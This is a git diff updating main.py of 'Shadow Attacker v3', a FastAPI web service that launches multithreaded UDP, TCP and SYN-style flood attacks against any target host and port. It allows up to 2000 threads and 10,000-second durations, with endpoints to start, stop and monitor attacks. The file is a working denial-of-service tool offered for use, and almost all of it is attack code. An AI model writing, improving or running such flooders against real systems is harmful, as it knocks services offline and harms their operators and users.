Update main.py

main.py

@@ -1,3 +1,6 @@
+# --------------------------------------------------------------
+#  SHADOW ATTACKER v3 – MAX POWER | 1000 THREADS | 10,000s LIMIT
+# --------------------------------------------------------------
 import random
 import socket
 import threading
@@ -9,67 +12,84 @@ import uvicorn
 from fastapi import FastAPI, HTTPException
 from pydantic import BaseModel
 
-# Logging + state
+# ------------------- LOGGING & STATE -------------------
 import logging
-logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
-log = logging.getLogger(__name__)
+logging.basicConfig(level=logging.INFO, format="%(message)s")
+log = logging.getLogger()
 
-app = FastAPI(title="Shadow Attacker")
+app = FastAPI(title="Shadow Attacker v3")
 
+# Global state
 stop_events: Dict[str, threading.Event] = {}
 counters: Dict[str, int] = {}
 counters_lock = threading.Lock()
 total_packets = 0
-log_buffer: deque[str] = deque(maxlen=200)
+log_buffer: deque[str] = deque(maxlen=500)
+attack_end_times: Dict[str, float] = {}
+
+# PPS tracking
+last_time = time.time()
+last_total = 0
 
 def _log(msg: str):
-    log.info(msg)
-    log_buffer.append(f"{time.strftime('%H:%M:%S')} {msg}")
+    ts = time.strftime("%H:%M:%S")
+    log.info(f"{ts} {msg}")
+    log_buffer.append(f"{ts} {msg}")
 
+# ------------------- MODELS -------------------
 class StartRequest(BaseModel):
     target: str
     port: int = 80
-    threads: int = 100
-    attack_type: str = "udp"  # udp | tcp | syn | ack
+    threads: int = 1000
+    duration: int = 300  # seconds, max 10000
+    attack_type: str = "udp"  # udp, tcp, syn
 
 class StatusResponse(BaseModel):
     running: bool
     attack_id: Optional[str]
     total_packets: int
     pps: float
+    threads: int
+    duration: int
+    elapsed: float
+    remaining: float
     counters: Dict[str, int]
     logs: list[str]
 
-# ---------------------------------------------------
-# HIGH PPS UDP/TCP FLOODERS (NO RAW SOCKETS NEEDED)
-# ---------------------------------------------------
-def udp_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
+# ------------------- HIGH-PPS WORKERS -------------------
+def create_udp_socket():
+    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
+    return sock
+
+def udp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
     global total_packets
-    while not stop_event.is_set():
-        try:
-            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
-            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-            payload = random._urandom(1024)  # 1KB random data
-            while not stop_event.is_set():
-                sock.sendto(payload, (target, port))
-                with counters_lock:
-                    counters[attack_id] = counters.get(attack_id, 0) + 1
-                    total_packets += 1
-        except:
-            pass
-        finally:
-            try: sock.close()
-            except: pass
+    payload = random._urandom(1024)  # 1KB max speed
+    sock = create_udp_socket()
+    addr = (target, port)
+    try:
+        while not stop_event.is_set():
+            sock.sendto(payload, addr)
+            with counters_lock:
+                counters[attack_id] = counters.get(attack_id, 0) + 1
+                total_packets += 1
+    except:
+        pass
+    finally:
+        try: sock.close()
+        except: pass
 
-def tcp_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
+def tcp_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
     global total_packets
+    payload = random._urandom(1024)
     while not stop_event.is_set():
         try:
             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            sock.settimeout(1)
+            sock.settimeout(0.5)
             sock.connect((target, port))
             while not stop_event.is_set():
-                sock.send(random._urandom(1024))
+                sock.send(payload)
                 with counters_lock:
                     counters[attack_id] = counters.get(attack_id, 0) + 1
                     total_packets += 1
@@ -79,13 +99,13 @@ def tcp_flood_worker(attack_id: str, target: str, port: int, stop_event: threadi
             try: sock.close()
             except: pass
 
-def syn_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
+def syn_flood(attack_id: str, target: str, port: int, stop_event: threading.Event):
     global total_packets
     while not stop_event.is_set():
         try:
             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-            sock.settimeout(0.1)
-            sock.connect_ex((target, port))  # Non-blocking SYN
+            sock.settimeout(0.01)
+            sock.connect_ex((target, port))
             with counters_lock:
                 counters[attack_id] = counters.get(attack_id, 0) + 1
                 total_packets += 1
@@ -95,86 +115,115 @@ def syn_flood_worker(attack_id: str, target: str, port: int, stop_event: threadi
             try: sock.close()
             except: pass
 
-def ack_flood_worker(attack_id: str, target: str, port: int, stop_event: threading.Event):
-    global total_packets
-    udp_flood_worker(attack_id, target, port, stop_event)  # ACK sim via UDP
-
-# ---------------------------------------------------
+# ------------------- API ROUTES -------------------
 @app.post("/start")
 def start_attack(req: StartRequest):
     if any(not ev.is_set() for ev in stop_events.values()):
-        raise HTTPException(400, "Attack running")
+        raise HTTPException(400, "Attack already in progress")
+
+    # Clamp values
+    req.threads = min(max(req.threads, 1), 2000)
+    req.duration = min(max(req.duration, 1), 10000)
 
     attack_id = f"{req.target}_{int(time.time())}"
     stop_ev = threading.Event()
     stop_events[attack_id] = stop_ev
     counters[attack_id] = 0
-
-    # Map attack_type to worker
-    workers = {
-        "udp": udp_flood_worker,
-        "tcp": tcp_flood_worker,
-        "syn": syn_flood_worker,
-        "ack": ack_flood_worker,
-    }
-    
-    worker_func = workers.get(req.attack_type, udp_flood_worker)
-
-    # Spawn threads
-    for i in range(req.threads):
-        t = threading.Thread(
-            target=worker_func,
-            args=(attack_id, req.target, req.port, stop_ev),
-            daemon=True
-        )
+    attack_end_times[attack_id] = time.time() + req.duration
+
+    worker = {
+        "udp": udp_flood,
+        "tcp": tcp_flood,
+        "syn": syn_flood
+    }.get(req.attack_type, udp_flood)
+
+    # Launch all threads at once
+    threads = []
+    for _ in range(req.threads):
+        t = threading.Thread(target=worker, args=(attack_id, req.target, req.port, stop_ev), daemon=True)
         t.start()
+        threads.append(t)
+
+    # Auto-stop thread
+    def auto_stop():
+        time.sleep(req.duration)
+        if attack_id in stop_events:
+            stop_events[attack_id].set()
+            _log(f"TIMEOUT: Attack {attack_id} ended after {req.duration}s")
+            cleanup(attack_id)
+
+    threading.Thread(target=auto_stop, daemon=True).start()
 
-    _log(f"🚀 {req.attack_type.upper()} FLOOD → {req.target}:{req.port} ({req.threads} threads)")
-    return {"message": "Attack started", "attack_id": attack_id}
+    _log(f"UDP FLOOD → {req.target}:{req.port} ({req.threads} threads, {req.duration}s)")
+    return {"message": "Attack launched", "attack_id": attack_id, "duration": req.duration}
 
 @app.post("/stop")
 def stop_attack(attack_id: Optional[str] = None):
     if attack_id and attack_id in stop_events:
         stop_events[attack_id].set()
-        del stop_events[attack_id]
-        with counters_lock:
-            counters.pop(attack_id, None)
-        _log(f"🛑 STOPPED {attack_id}")
+        cleanup(attack_id)
+        _log(f"STOPPED {attack_id}")
     else:
-        for ev in list(stop_events):
-            stop_events[ev].set()
-            del stop_events[ev]
-        with counters_lock:
-            counters.clear()
-        _log("🛑 STOPPED ALL")
+        for aid in list(stop_events):
+            stop_events[aid].set()
+            cleanup(aid)
+        _log("STOPPED ALL ATTACKS")
     return {"message": "Stopped"}
 
+def cleanup(aid: str):
+    stop_events.pop(aid, None)
+    counters.pop(aid, None)
+    attack_end_times.pop(aid, None)
+
 @app.get("/status", response_model=StatusResponse)
-def get_status(attack_id: Optional[str] = None):
+def status(attack_id: Optional[str] = None):
+    global last_time, last_total
+
     with counters_lock:
-        cnt = {k: v for k, v in counters.items()}
+        cnt = dict(counters)
         tot = total_packets
-    
-    # Calculate PPS (packets per second)
-    pps = 0
-    if hasattr(get_status, 'last_time'):
-        delta_time = time.time() - get_status.last_time
-        if delta_time > 0:
-            pps = (tot - getattr(get_status, 'last_tot', 0)) / delta_time
-        get_status.last_tot = tot
-    get_status.last_time = time.time()
-    
-    running = bool(stop_events)
-    aid = attack_id if attack_id in stop_events else None
+
+    now = time.time()
+    elapsed_global = now - last_time
+    pps = (tot - last_total) / elapsed_global if elapsed_global > 0 else 0
+    last_time, last_total = now, tot
+
+    active = [aid for aid, ev in stop_events.items() if not ev.is_set()]
+    running = bool(active)
+    aid = attack_id if attack_id in stop_events else (active[0] if active else None)
+
+    if aid:
+        end = attack_end_times.get(aid, now)
+        elapsed = now - (end - (end - now))
+        remaining = max(0, end - now)
+        threads = sum(1 for t in threading.enumerate() if t.name.startswith("Thread"))
+    else:
+        elapsed = remaining = threads = 0
 
     return StatusResponse(
         running=running,
         attack_id=aid,
         total_packets=tot,
         pps=round(pps, 1),
-        counters=cnt if not attack_id else {attack_id: cnt.get(attack_id, 0)},
+        threads=threads,
+        duration=int(attack_end_times.get(aid, 0) - (attack_end_times.get(aid, 0) - now)) if aid else 0,
+        elapsed=round(elapsed, 1),
+        remaining=round(remaining, 1),
+        counters={aid: cnt.get(aid, 0)} if aid else cnt,
         logs=list(log_buffer)
     )
 
+# ------------------- ROOT -------------------
+@app.get("/")
+def root():
+    return {"message": "Shadow Attacker v3 - /docs for API"}
+
+# ------------------- START -------------------
 if __name__ == "__main__":
-    uvicorn.run(app, host="0.0.0.0", port=8000)
+    uvicorn.run(
+        "main:app",
+        host="0.0.0.0",
+        port=8000,
+        workers=1,
+        log_level="warning"
+    )